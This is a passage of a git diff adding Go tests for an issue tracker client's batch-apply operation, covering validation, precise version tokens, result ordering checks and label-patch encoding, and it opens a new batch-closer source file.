t.Errorf("the encoded patch carries owner = %v, want the caller's value", got) + } + }) +} + +// TestApplyBatchFailsClosedOnAnItemTheClientCannotSpell is the tagged union's +// whole risk, driven in all four directions. +// +// The document carries a required tag and four OPTIONAL payloads because it +// uses no composition keyword, so nothing in any generated type stops a +// disagreement. The dangerous one is the unknown KIND: a fifth verb added to +// issueops would arrive here as a value the client's table does not carry, and +// a client that sent the item anyway would put a plan on the wire that did less +// than the caller composed. +func TestApplyBatchFailsClosedOnAnItemTheClientCannotSpell(t *testing.T) { + create := &issueops.CreateItem{Issue: &issueops.Issue{Title: "t"}} + update := &issueops.UpdateItem{ + Target: issueops.Ref{ID: "bd-1"}, + Patch: issueops.IssuePatch{Title: issueops.Field[string]{Set: true, Value: "x"}}, + } + + for _, test := range []struct { + name string + item issueops.ApplyItem + says string + }{ + { + // The fail-closed arm, and the DIAGNOSIS is what it pins rather than + // the refusal. "reopen" is a verb the ROLE deliberately excludes + // today, so it stands in for the fifth kind nobody has invented yet + // — and an implementation that passed an unknown kind through to + // the tag/payload agreement check would still refuse this item, + // while telling the caller its PAYLOAD was wrong. That sends + // someone reading the message to fix a payload that is correct, + // so the refusal has to name the VOCABULARY. + name: "a kind this client does not know", + item: issueops.ApplyItem{Kind: issueops.ItemKind("reopen"), Create: create}, + says: `item kind "reopen" is not one of create, update, close, dep_add`, + }, + { + // The same kind carrying nothing, which under a pass-through would + // be reported as a missing `reopen` payload — a member the document + // does not publish at all. + name: "a kind this client does not know, carrying nothing", + item: issueops.ApplyItem{Kind: issueops.ItemKind("reopen")}, + says: `item kind "reopen" is not one of create, update, close, dep_add`, + }, + { + name: "a kind with no payload", + item: issueops.ApplyItem{Kind: issueops.ItemCreate}, + says: "no create payload", + }, + { + name: "a payload the kind does not name", + item: issueops.ApplyItem{Kind: issueops.ItemUpdate, Create: create}, + says: "must name the same verb", + }, + { + name: "two payloads", + item: issueops.ApplyItem{Kind: issueops.ItemCreate, Create: create, Update: update}, + says: "exactly one payload", + }, + { + // The empty kind is the zero value of the field, which is what an + // item built by a caller that forgot the tag looks like. + name: "the empty kind", + item: issueops.ApplyItem{Create: create}, + says: `item kind "" is not one of create, update, close, dep_add`, + }, + } { + t.Run(test.name, func(t *testing.T) { + w := &stubWire{} + _, err := applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ + Actor: "planner", Items: []issueops.ApplyItem{test.item}, + }) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("error = %v, want ErrValidation", err) + } + if !strings.Contains(err.Error(), test.says) { + t.Errorf("the refusal does not say what was wrong (%q): %v", test.says, err) + } + if len(w.calls) != 0 { + t.Errorf("the item reached the wire: %v", w.calls) + } + }) + } +} + +// TestApplyBatchRefusesTheRequestShapesTheRoleCallsInvalid covers the bounds and +// the ref rule, all of them raised before the dial. +func TestApplyBatchRefusesTheRequestShapesTheRoleCallsInvalid(t *testing.T) { + oversized := issueops.ApplyBatchRequest{Actor: "planner"} + for range issueops.MaxApplyBatchItems + 1 { + oversized.Items = append(oversized.Items, issueops.ApplyItem{ + Kind: issueops.ItemCreate, + Create: &issueops.CreateItem{Issue: &issueops.Issue{Title: "t"}}, + }) + } + refTarget := func(ref issueops.Ref) issueops.ApplyBatchRequest { + return issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{ + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{ + Target: ref, + Patch: issueops.IssuePatch{Title: issueops.Field[string]{Set: true, Value: "x"}}, + }, + }}, + } + } + + for _, test := range []struct { + name string + req issueops.ApplyBatchRequest + }{ + {"no actor", issueops.ApplyBatchRequest{Items: applyOneCreate().Items}}, + {"no items", issueops.ApplyBatchRequest{Actor: "planner"}}, + {"one item past the cap", oversized}, + {"a ref naming neither member", refTarget(issueops.Ref{})}, + {"a ref naming both members", refTarget(issueops.Ref{Key: "k", ID: "bd-1"})}, + {"an update that writes nothing", issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{ + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{Target: issueops.Ref{ID: "bd-1"}}, + }}, + }}, + {"an edge with no type", issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{ + Kind: issueops.ItemDepAdd, + DepAdd: &issueops.DepAddItem{Source: issueops.Ref{ID: "bd-1"}, Target: issueops.Ref{ID: "bd-2"}}, + }}, + }}, + {"a metadata blob that is not JSON", issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{ + Kind: issueops.ItemCreate, + Create: &issueops.CreateItem{Issue: &issueops.Issue{ + Title: "t", Metadata: json.RawMessage(`{"broken":`), + }}, + }}, + }}, + } { + t.Run(test.name, func(t *testing.T) { + w := &stubWire{} + _, err := applyRole(t, w).ApplyBatch(t.Context(), test.req) + if !errors.Is(err, issueops.ErrValidation) { + t.Fatalf("error = %v, want ErrValidation", err) + } + if len(w.calls) != 0 { + t.Errorf("the request reached the wire: %v", w.calls) + } + }) + } + + // The cap refuses rather than SPLITTING, which is the half a refusal test + // alone would not say: a split plan is several transactions where the + // caller asked for one, and the end gate only ever sees one request. + w := &stubWire{} + _, _ = applyRole(t, w).ApplyBatch(t.Context(), oversized) + if len(w.calls) != 0 { + t.Errorf("the oversized plan was chunked onto the wire: %v", w.calls) + } +} + +// TestApplyBatchSendsTheGuardsAndTheLiteralsIntact is the encoding round trip. +// +// TWO CORRUPTIONS ARE THE POINT and neither is visible in a result. The row +// version is int64 END TO END: live tokens run past 5e17, where an IEEE-754 +// double's ulp is already 64, so a float anywhere on this path hands the server +// a number NEAR the token that is not it — and the answer would be a +// precondition failure a caller cannot explain. And a metadata value travels as +// the caller's SOURCE LITERAL: the role compares metadata by literal, so 1 and +// 1.0 are not equal and 9007199254740993 is not 9007199254740992 — a float +// round trip changes the VERDICT of a later compare-and-set rather than a +// spelling. +func TestApplyBatchSendsTheGuardsAndTheLiteralsIntact(t *testing.T) { + const token = int64(576460752303423489) // 2^59 + 1: a float64 cannot hold it + const bigInt = `9007199254740993` // 2^53 + 1 + version := token + status := issueops.Status("in_progress") + assignee := "" + + w := &stubWire{} + _, err := applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ + Actor: "planner", + Provenance: "wave 1c", + ForceIDPrefix: true, + SkipPerEdgeCycleCheck: true, + Items: []issueops.ApplyItem{ + { + Kind: issueops.ItemCreate, + Create: &issueops.CreateItem{ + Key: "root", + Issue: &issueops.Issue{ + Title: "t", + Metadata: json.RawMessage(`{"exact":` + bigInt + `,"one":1.0}`), + }, + MetadataRefs: map[string]issueops.Ref{"spawned": {Key: "child"}}, + }, + }, + { + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{ + Target: issueops.Ref{Key: "root"}, + Patch: issueops.IssuePatch{Title: issueops.Field[string]{Set: true, Value: "x"}}, + ExpectedVersion: &version, + ExpectedStatus: &status, + ExpectedAssignee: &assignee, + }, + }, + { + Kind: issueops.ItemClose, + Close: &issueops.CloseItem{Target: issueops.Ref{ID: "bd-1"}, ExpectedVersion: &version}, + }, + { + Kind: issueops.ItemDepAdd, + DepAdd: &issueops.DepAddItem{ + Source: issueops.Ref{Key: "root"}, + Target: issueops.Ref{ID: "bd-1"}, + Type: "waits-for", + Metadata: `{"gate":"any-children","seq":` + bigInt + `}`, + }, + }, + }, + }) + if err != nil { + t.Fatalf("ApplyBatch: %v", err) + } + + body := w.lastApply + if body.Actor != "planner" { + t.Errorf("actor = %q", body.Actor) + } + for member, got := range map[string]*bool{ + "force_id_prefix": body.ForceIDPrefix, "skip_per_edge_cycle_check": body.SkipPerEdgeCycleCheck, + } { + if got == nil || !*got { + t.Errorf("%s = %v, want true", member, got) + } + } + if body.Provenance == nil || *body.Provenance != "wave 1c" { + t.Errorf("provenance = %v, want the caller's label", body.Provenance) + } + if len(body.Items) != 4 { + t.Fatalf("the body carries %d items, want 4", len(body.Items)) + } + + // The guards, on both members that publish one. + // The version guards reach the wire as the token's decimal STRING + // (types.RevisionToken): a JSON number on this member is a 400, and a + // float64 anywhere on the path would answer a number NEAR the token. + update := body.Items[1].Update + if update.ExpectedVersion == nil || *update.ExpectedVersion != types.RevisionToken(token) { + t.Errorf("update expected_version = %v, want %q", update.ExpectedVersion, types.RevisionToken(token)) + } + if update.ExpectedStatus == nil || *update.ExpectedStatus != "in_progress" { + t.Errorf("update expected_status = %v", update.ExpectedStatus) + } + // The EMPTY assignee guard is "only if nobody holds it" and is a request, + // not an absence. + if update.ExpectedAssignee == nil { + t.Error("update expected_assignee is absent; the empty string is a real guard") + } else if *update.ExpectedAssignee != "" { + t.Errorf("update expected_assignee = %q, want the empty guard", *update.ExpectedAssignee) + } + if got := body.Items[2].Close.ExpectedVersion; got == nil || *got != types.RevisionToken(token) { + t.Errorf("close expected_version = %v, want %q", got, types.RevisionToken(token)) + } + + // The literals, on both paths that carry a blob. + for name, raw := range map[string]json.RawMessage{ + "create.metadata": json.RawMessage(body.Items[0].Create.Metadata), + "dep_add.metadata": json.RawMessage(body.Items[3].DepAdd.Metadata), + } { + if !strings.Contains(string(raw), bigInt) { + t.Errorf("%s = %s; the source literal %s did not survive — a float64 round trip answers %s", + name, raw, bigInt, "9007199254740992") + } + } + if got := string(body.Items[0].Create.Metadata); !strings.Contains(got, "1.0") { + t.Errorf("create.metadata = %s; the literal 1.0 became 1, which the role compares as a different value", got) + } + + // The refs, exactly one member each, and the forward metadata ref carried. + if got := body.Items[1].Update.Target; got.Key == nil || *got.Key != "root" || got.Id != nil { + t.Errorf("update target = %+v, want a key ref naming root and no id", got) + } + refs := body.Items[0].Create.MetadataRefs + if refs == nil { + t.Fatal("the create item dropped its metadata_refs") + } + if got := (*refs)["spawned"]; got.Key == nil || *got.Key != "child" { + t.Errorf("metadata_refs[spawned] = %+v, want a key ref naming child", got) + } +} + +// TestApplyBatchAbsentGuardsStayAbsent is the other polarity, and it is the one +// a sentinel would break: 0 is a LEGAL row version — the migration-0054 +// backfill wrote it — so encoding "no guard" as 0 would arm a guard on every +// unguarded item, and encoding it as -1 would arm one that can never match. +func TestApplyBatchAbsentGuardsStayAbsent(t *testing.T) { + zero := int64(0) + w := &stubWire{} + _, err := applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{ + { + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{ + Target: issueops.Ref{ID: "bd-1"}, + Patch: issueops.IssuePatch{Title: issueops.Field[string]{Set: true, Value: "x"}}, + }, + }, + { + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{ + Target: issueops.Ref{ID: "bd-2"}, + Patch: issueops.IssuePatch{Title: issueops.Field[string]{Set: true, Value: "y"}}, + ExpectedVersion: &zero, + }, + }, + {Kind: issueops.ItemClose, Close: &issueops.CloseItem{Target: issueops.Ref{ID: "bd-3"}}}, + }, + }) + if err != nil { + t.Fatalf("ApplyBatch: %v", err) + } + + unguarded := w.lastApply.Items[0].Update + if unguarded.ExpectedVersion != nil { + t.Errorf("an unguarded update sent expected_version = %q; absent is not zero", *unguarded.ExpectedVersion) + } + for member, got := range map[string]*string{ + "expected_status": unguarded.ExpectedStatus, "expected_assignee": unguarded.ExpectedAssignee, + } { + if got != nil { + t.Errorf("an unguarded update sent %s = %q", member, *got) + } + } + if got := w.lastApply.Items[1].Update.ExpectedVersion; got == nil || *got != "0" { + t.Errorf("a guard ON ZERO came out as %v; 0 is a token a row really holds and it is spelled \"0\"", got) + } + if got := w.lastApply.Items[2].Close.ExpectedVersion; got != nil { + t.Errorf("an unguarded close sent expected_version = %q", *got) + } + // The two force flags, absent rather than explicitly false. + if w.lastApply.Items[0].Update.ForceClosePolicy != nil || w.lastApply.Items[0].Update.ForceAssigneeTransfer != nil { + t.Error("an update that asked for no bypass sent one explicitly false") + } + if w.lastApply.ForceIDPrefix != nil || w.lastApply.SkipPerEdgeCycleCheck != nil || w.lastApply.Provenance != nil { + t.Error("a request that asked for none of the three optional members sent one anyway") + } +} + +// TestApplyBatchRefusesAMisattributedResult is the positional-array guard, and +// it is the one failure on this operation that no assertion about a ROW would +// catch: both rows exist and both were written, so a result read at the wrong +// index reports one item's `changed` and `revision` as another's, and every +// row-level check still passes. +func TestApplyBatchRefusesAMisattributedResult(t *testing.T) { + req := issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{ + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{Issue: &issueops.Issue{Title: "t"}}}, + {Kind: issueops.ItemClose, Close: &issueops.CloseItem{Target: issueops.Ref{ID: "bd-1"}}}, + }, + } + + for _, test := range []struct { + name string + items []apigen.ApplyItemResult + says string + }{ + { + name: "one result short", + items: []apigen.ApplyItemResult{{Kind: "create", IssueId: "bd-9"}}, + says: "1 batch-apply results for 2 items", + }, + { + name: "one result too many", + items: []apigen.ApplyItemResult{ + {Kind: "create", IssueId: "bd-9"}, {Kind: "close", IssueId: "bd-1"}, {Kind: "close", IssueId: "bd-2"}, + }, + says: "3 batch-apply results for 2 items", + }, + { + name: "the kinds transposed", + items: []apigen.ApplyItemResult{ + {Kind: "close", IssueId: "bd-1"}, {Kind: "create", IssueId: "bd-9"}, + }, + says: "the results are positional", + }, + } { + t.Run(test.name, func(t *testing.T) { + w := &stubWire{applied: &apigen.ApplyBatchResponse{Keys: map[string]string{}, Items: test.items}} + _, err := applyRole(t, w).ApplyBatch(t.Context(), req) + if err == nil { + t.Fatal("a misattributed result was accepted") + } + if !strings.Contains(err.Error(), test.says) { + t.Errorf("error = %v, want it to say %q", err, test.says) + } + }) + } +} + +// TestApplyBatchCrossChecksKeyedCreatesAgainstTheKeyMap closes the half the kind +// check above cannot see. +// +// A SAME-KIND SWAP IS INVISIBLE TO A KIND COMPARISON: two create items +// transposed still answer "create" at both indexes, so the length agrees, the +// kinds agree, and one row's id, `changed` and `revision` are read as the +// other's. The response carries the bytes that catch it — `keys` maps each +// NAMED create to the id it was bound to, independently of the array's order — +// so a keyed create's result must agree with its own key, and a key the request +// declared that the answer does not carry is a result that cannot be checked at +// all rather than one to pass along. +// +// THE RESIDUAL IS STATED RATHER THAN HIDDEN: an UNKEYED same-kind swap stays +// unverifiable from here. Nothing in the response distinguishes two unnamed +// creates, and nothing in the request could — that is what naming them is for. +// It sits in the same trust class as a server that answered the wrong row +// entirely, and the served assembly is provably in item order. +func TestApplyBatchCrossChecksKeyedCreatesAgainstTheKeyMap(t *testing.T) { + keyed := issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{ + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{Key: "a", Issue: &issueops.Issue{Title: "a"}}}, + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{Key: "b", Issue: &issueops.Issue{Title: "b"}}}, + }, + } + + t.Run("two keyed creates with transposed results", func(t *testing.T) { + w := &stubWire{applied: &apigen.ApplyBatchResponse{ + Keys: map[string]string{"a": "bd-1", "b": "bd-2"}, + Items: []apigen.ApplyItemResult{ + {Kind: "create", IssueId: "bd-2", Changed: true, Revision: "7"}, + {Kind: "create", IssueId: "bd-1", Changed: true, Revision: "9"}, + }, + }} + _, err := applyRole(t, w).ApplyBatch(t.Context(), keyed) + if err == nil { + t.Fatal("a same-kind transposition was accepted; the key map says which id each named create was bound to") + } + if !strings.Contains(err.Error(), `key "a"`) || !strings.Contains(err.Error(), "bd-1") { + t.Errorf("error = %v, want it to name the key and the id it was bound to", err) + } + }) + + t.Run("a key the request declared and the answer does not carry", func(t *testing.T) { + w := &stubWire{applied: &apigen.ApplyBatchResponse{ + Keys: map[string]string{"a": "bd-1"}, + Items: []apigen.ApplyItemResult{ + {Kind: "create", IssueId: "bd-1", Changed: true, Revision: "0"}, + {Kind: "create", IssueId: "bd-2", Changed: true, Revision: "0"}, + }, + }} + _, err := applyRole(t, w).ApplyBatch(t.Context(), keyed) + if err == nil { + t.Fatal("a missing key was passed along; the binding is the one fact the request cannot carry") + } + // The DIAGNOSIS, not just the refusal — M8's lesson applied here. A + // decode that ignored the map's presence bit reads the missing key as + // the empty id and refuses as a DISAGREEMENT, which names the same key + // while telling the caller the server answered the wrong row. It did + // not: it answered with no binding at all. + if !strings.Contains(err.Error(), `bound no id to key "b"`) { + t.Errorf("error = %v, want it to say the key was left UNBOUND rather than bound to something else", err) + } + }) + + t.Run("the agreeing answer passes, and an UNKEYED create is not checked", func(t *testing.T) { + w := &stubWire{applied: &apigen.ApplyBatchResponse{ + Keys: map[string]string{"a": "bd-1", "b": "bd-2"}, + Items: []apigen.ApplyItemResult{ + {Kind: "create", IssueId: "bd-1", Changed: true, Revision: "0"}, + {Kind: "create", IssueId: "bd-2", Changed: true, Revision: "0"}, + }, + }} + if _, err := applyRole(t, w).ApplyBatch(t.Context(), keyed); err != nil { + t.Fatalf("an agreeing answer was refused: %v", err) + } + + // The residual, asserted so it is a documented limit rather than an + // assumption: two UNNAMED creates carry nothing to cross-check, so a + // transposition between them passes. Naming them is what makes it + // checkable, which is the sentence the doc comment ends on. + unkeyed := issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{ + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{Issue: &issueops.Issue{Title: "a"}}}, + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{Issue: &issueops.Issue{Title: "b"}}}, + }, + } + w = &stubWire{applied: &apigen.ApplyBatchResponse{ + Keys: map[string]string{}, + Items: []apigen.ApplyItemResult{ + {Kind: "create", IssueId: "bd-2", Revision: "0"}, {Kind: "create", IssueId: "bd-1", Revision: "0"}, + }, + }} + if _, err := applyRole(t, w).ApplyBatch(t.Context(), unkeyed); err != nil { + t.Fatalf("an unkeyed pair was refused: %v — nothing in either side distinguishes them", err) + } + }) +} + +// TestApplyBatchReadsTheAnswerBackWhole is the result decode's positive half. +func TestApplyBatchReadsTheAnswerBackWhole(t *testing.T) { + const token = int64(576460752303423489) + dependsOn := "bd-2" + w := &stubWire{applied: &apigen.ApplyBatchResponse{ + Keys: map[string]string{"root": "bd-9"}, + Items: []apigen.ApplyItemResult{ + {Kind: "create", IssueId: "bd-9", Changed: true, Revision: types.RevisionToken(token)}, + {Kind: "dep_add", IssueId: "bd-9", DependsOnId: &dependsOn, Changed: false, Revision: "0"}, + }, + }} + result, err := applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{ + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{Key: "root", Issue: &issueops.Issue{Title: "t"}}}, + {Kind: issueops.ItemDepAdd, DepAdd: &issueops.DepAddItem{ + Source: issueops.Ref{Key: "root"}, Target: issueops.Ref{ID: "bd-2"}, Type: "blocks", + }}, + }, + }) + if err != nil { + t.Fatalf("ApplyBatch: %v", err) + } + + if got := result.Keys["root"]; got != "bd-9" { + t.Errorf("Keys[root] = %q, want the minted id", got) + } + if len(result.Items) != 2 { + t.Fatalf("the result carries %d items, want 2", len(result.Items)) + } + if result.Items[0].RowVersion != token { + t.Errorf("RowVersion = %d, want %d — the wire's decimal token parsed back losslessly", + result.Items[0].RowVersion, token) + } + if !result.Items[0].Changed { + t.Error("the create's Changed was dropped") + } + if result.Items[1].DependsOnID != "bd-2" { + t.Errorf("the edge's DependsOnID = %q, want bd-2", result.Items[1].DependsOnID) + } + if result.Items[1].Changed { + t.Error("an idempotent re-add was reported as Changed") + } + // The snapshot stops at the wire — ledger row L-apply-snapshot — and the + // role's own leaf says why. It is asserted rather than assumed so a future + // wave that starts hydrating has to come here and say so. + for i, item := range result.Items { + if item.Issue != nil { + t.Errorf("items[%d] carries a snapshot; the wire result is lean (L-apply-snapshot)", i) + } + } +} + +// TestApplyBatchRebuildsTheItemAndRefRefusals is the refusal decode. +// +// The request is all or nothing, so `item_*` is the ONLY place the offender +// exists — and the two shapes are told apart by `declared_later`'s PRESENCE, +// which is why the server emits it in both polarities. +func TestApplyBatchRebuildsTheItemAndRefRefusals(t *testing.T) { + req := issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{ + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{Issue: &issueops.Issue{Title: "t"}}}, + {Kind: issueops.ItemClose, Close: &issueops.CloseItem{Target: issueops.Ref{ID: "bd-1"}}}, + }, + } + + t.Run("an item refusal names the item and keeps its sentinel", func(t *testing.T) { + index := 1 + kind, key, id := "close", "", "bd-1" + w := &stubWire{errs: []error{&wire.ProblemError{ + Status: 409, Code: "not_closable", Err: issueops.ErrCloseBlocked, + ItemIndex: &index, ItemKind: &kind, ItemKey: &key, ItemIssueID: &id, + }}} + _, err := applyRole(t, w).ApplyBatch(t.Context(), req) + + var itemErr *issueops.ItemError + if !errors.As(err, &itemErr) { + t.Fatalf("error = %v (%T), want an *ItemError naming the item that refused", err, err) + } + if itemErr.Index != 1 || itemErr.Kind != issueops.ItemClose || itemErr.IssueID != "bd-1" { + t.Errorf("ItemError = %#v, want Index 1, Kind close, IssueID bd-1", itemErr) + } + if !errors.Is(err, issueops.ErrCloseBlocked) { + t.Errorf("the sentinel did not survive the wrapper: %v", err) + } + }) + + t.Run("a ref refusal is a RefError in both polarities", func(t *testing.T) { + for _, test := range []struct { + later bool + param string + member string + }{ + {true, "items[1].close.target", "target"}, + {false, "items[1].dep_add.source", "source"}, + {false, "items[1].create.metadata_refs", "metadata_refs"}, + } { + index, key, later := 1, "child", test.later + w := &stubWire{errs: []error{&wire.ProblemError{ + Status: 400, Code: "invalid_argument", Param: test.param, Err: issueops.ErrValidation, + ItemIndex: &index, ItemKey: &key, DeclaredLater: &later, + }}} + _, err := applyRole(t, w).ApplyBatch(t.Context(), req) + + var refErr *issueops.RefError + if !errors.As(err, &refErr) { + t.Fatalf("error = %v (%T), want a *RefError", err, err) + } + if refErr.DeclaredLater != test.later { + t.Errorf("RefError.DeclaredLater = %v, want %v: the two diagnoses are what a caller acts on", + refErr.DeclaredLater, test.later) + } + if refErr.Index != 1 || refErr.Key != "child" { + t.Errorf("RefError = %#v, want Index 1 and Key child", refErr) + } + if refErr.Member != test.member { + t.Errorf("RefError.Member = %q, want %q", refErr.Member, test.member) + } + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("the RefError does not match ErrValidation: %v", err) + } + } + }) + + t.Run("a key refusal that names no item does not blame the first one", func(t *testing.T) { + // Unreachable against this server, and hardened anyway because + // RefError.Index has no absent state: answering 0 would name the FIRST + // item as the offender on a refusal that named none. + later := true + w := &stubWire{errs: []error{&wire.ProblemError{ + Status: 400, Code: "invalid_argument", Err: issueops.ErrValidation, DeclaredLater: &later, + }}} + _, err := applyRole(t, w).ApplyBatch(t.Context(), req) + + var refErr *issueops.RefError + if errors.As(err, &refErr) { + t.Errorf("a key refusal naming no item was rebuilt as %#v; index 0 is the first item, not 'unknown'", refErr) + } + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("error = %v, want the sentinel through", err) + } + }) + + t.Run("a refusal that names no item travels unwrapped", func(t *testing.T) { + w := &stubWire{errs: []error{&wire.ProblemError{ + Status: 400, Code: "invalid_argument", Param: "items", Err: issueops.ErrValidation, + }}} + _, err := applyRole(t, w).ApplyBatch(t.Context(), req) + + var itemErr *issueops.ItemError + if errors.As(err, &itemErr) { + t.Errorf("a refusal naming no item was wrapped as %#v; index 0 would be a claim about an item "+ + "this refusal says nothing about", itemErr) + } + if !errors.Is(err, issueops.ErrValidation) { + t.Errorf("error = %v, want the sentinel through", err) + } + }) +} + +// TestTheEncodedApplyPatchDocumentUsesOnlyPublishedMembers is +// TestTheEncodedPatchDocumentUsesOnlyPublishedMembers for the plan's own patch, +// and it is a separate gate because the two documents' allowlists differ in +// BOTH directions: this one publishes owner and not parent_id. +func TestTheEncodedApplyPatchDocumentUsesOnlyPublishedMembers(t *testing.T) { + published := bodyMembers(t, reflect.TypeOf(apigen.ApplyPatchBody{})) + + patch := issueops.IssuePatch{} + setEvery := reflect.ValueOf(&patch).Elem() + var wantMembers []string + for name, how := range shapeNamed(t, "applyBatch/update/patch").carried { + setPatchField(t, setEvery.FieldByName(name)) + wantMembers = append(wantMembers, how.member) + } + + document, err := encodeApplyPatch(patch) + if err != nil { + t.Fatalf("a patch setting every carried member refused: %v", err) + } + for name := range document { + if !published[name] { + t.Errorf("the encoded apply patch carries %q, which ApplyPatchBody does not publish: %v", + name, sortedKeys(published)) + } + } + slices.Sort(wantMembers) + got := sortedKeys(toSet(document)) + if strings.Join(got, ",") != strings.Join(wantMembers, ",") { + t.Errorf("the encoded apply patch carries\n %v\nwant the table's carried members\n %v", got, wantMembers) + } +} + +// TestTheApplyLabelPatchIsTheWholeEdit pins the one place this document is +// WIDER than PATCH /v0/beads/issues/{id}'s: a plan edits a label set it did not +// compose, so a REMOVAL has to be expressible without reading the set back. +func TestTheApplyLabelPatchIsTheWholeEdit(t *testing.T) { + w := &stubWire{} + _, err := applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{ + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{ + Target: issueops.Ref{ID: "bd-1"}, + Patch: issueops.IssuePatch{Labels: issueops.LabelPatch{ + Replace: issueops.Field[[]string]{Set: true, Value: []string{"base"}}, + Add: []string{"added"}, + Remove: []string{"gone"}, + }}, + }, + }}, + }) + if err != nil { + t.Fatalf("a full label patch refused: %v", err) + } + labels, ok := w.lastApply.Items[0].Update.Patch["labels"].(map[string]any) + if !ok { + t.Fatalf("the encoded patch carries labels = %#v, want the ordered edit", w.lastApply.Items[0].Update.Patch["labels"]) + } + for member, want := range map[string][]string{ + "replace": {"base"}, "add": {"added"}, "remove": {"gone"}, + } { + got, ok := labels[member].([]string) + if !ok || !slices.Equal(got, want) { + t.Errorf("labels.%s = %#v, want %v", member, labels[member], want) + } + } + + // A SET replacement holding no labels CLEARS every label, which is the + // state a plain slice could not carry. + w = &stubWire{} + _, err = applyRole(t, w).ApplyBatch(t.Context(), issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{ + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{ + Target: issueops.Ref{ID: "bd-1"}, + Patch: issueops.IssuePatch{Labels: issueops.LabelPatch{ + Replace: issueops.Field[[]string]{Set: true}, + }}, + }, + }}, + }) + if err != nil { + t.Fatalf("a label clear refused: %v", err) + } + labels = w.lastApply.Items[0].Update.Patch["labels"].(map[string]any) + got, ok := labels["replace"].([]string) + if !ok || len(got) != 0 { + t.Errorf("the clear encoded replace = %#v, want an empty array", labels["replace"]) + } + // AND IT HAS TO MARSHAL AS ONE. A nil []string is len 0 and satisfies every + // assertion above while serializing to JSON `null`, which this member does + // not accept — so the clear is checked at the byte level, which is the level + // the server reads it at. + encoded, err := json.Marshal(labels["replace"]) + if err != nil { + t.Fatalf("marshaling the label clear: %v", err) + } + if string(encoded) != "[]" { + t.Errorf("the clear marshals as %s, want []; a JSON null on this member is not a clear", encoded) + } + if _, present := labels["add"]; present { + t.Error("the clear invented an add member") + } +} diff --git a/internal/httpclient/batchcloser.go b/internal/httpclient/batchcloser.go new file mode 100644 index 000000000..a9d231e3c --- /dev/null +++ b/internal/httpclient/batchcloser.go @@ -0,0 +1,370 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/batchcloser.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "fmt" + "slices" + "strings" + "unicode" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + storageops "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/issueops" +) + +// readySortPolicies names the only three sort policies a ClaimNext filter +// accepts, mirroring internal/workapi.BuildReadyFilter's vocabulary. It is +// redeclared here rather than imported for the reason list_walk.go, order.go +// and releaser.go each give: depguard denies internal/workapi to this package. +// +// A value outside this list is a deterministic request-validation failure — +// RunBatchCloserClaimFilterValueFailureIsARequestValidationFailure — and that +// holds REGARDLESS of whether the v0 wire can carry a ClaimNext at all: a bad +// sort policy is caught before the capability question is even asked, the same +// way an empty actor or a blank item id is. +var readySortPolicies = []string{"hybrid", "oldest", "priority"} + +// validateReadySortPolicy refuses a ClaimNext filter's sort policy if it names +// anything outside readySortPolicies. An empty policy is the caller leaving it +// to the default and is always legal here. +func validateReadySortPolicy(policy string) error { + if policy == "" || slices.Contains(readySortPolicies, policy) { + return nil + } + return invalid("invalid sort policy '%s'. Valid values: hybrid, priority, oldest", policy) +} + +// maxWireBatchCloseItems is the wire's cap on one batch close: maxBatchCloseItems +// in internal/httpapi/batch_close.go, redeclared here because importing the +// server would drag the storage engine into a client. A batch over the bound +// REFUSES rather than chunking — see ledger row L-close-cap and CloseBatch below. +const maxWireBatchCloseItems = 100 + +// httpBatchCloser serves issueops.BatchCloser over the v0 wire. +// +// WHERE THE WIRE CARRIES issues.batchClose, the whole CloseBatchRequest is one +// wire call: many items, per-item outcomes, and the atomic ClaimNext included. +// That is the operation this role was always waiting for — `bd close a b c` is +// one transaction with at most one history entry, and only a single wire call +// preserves that where a loop of closeIssue could not. +// +// WHERE IT DOES NOT — a server too old to advertise the capability — the role +// falls back to the ONE shape a bare closeIssue can honestly compose: a single +// item with no ClaimNext, which is the shape `bd close ` issues for the +// common case. Every other shape refuses in that leg rather than looping, because +// N sequential closes are N transactions and N history entries where the contract +// promises one, and ClaimNext runs INSIDE the closes' transaction and can see an +// unblocking the batch itself produced. See refuseUnservedCloseShape. +// +// CLIENT-SIDE VALIDATION happens first on both 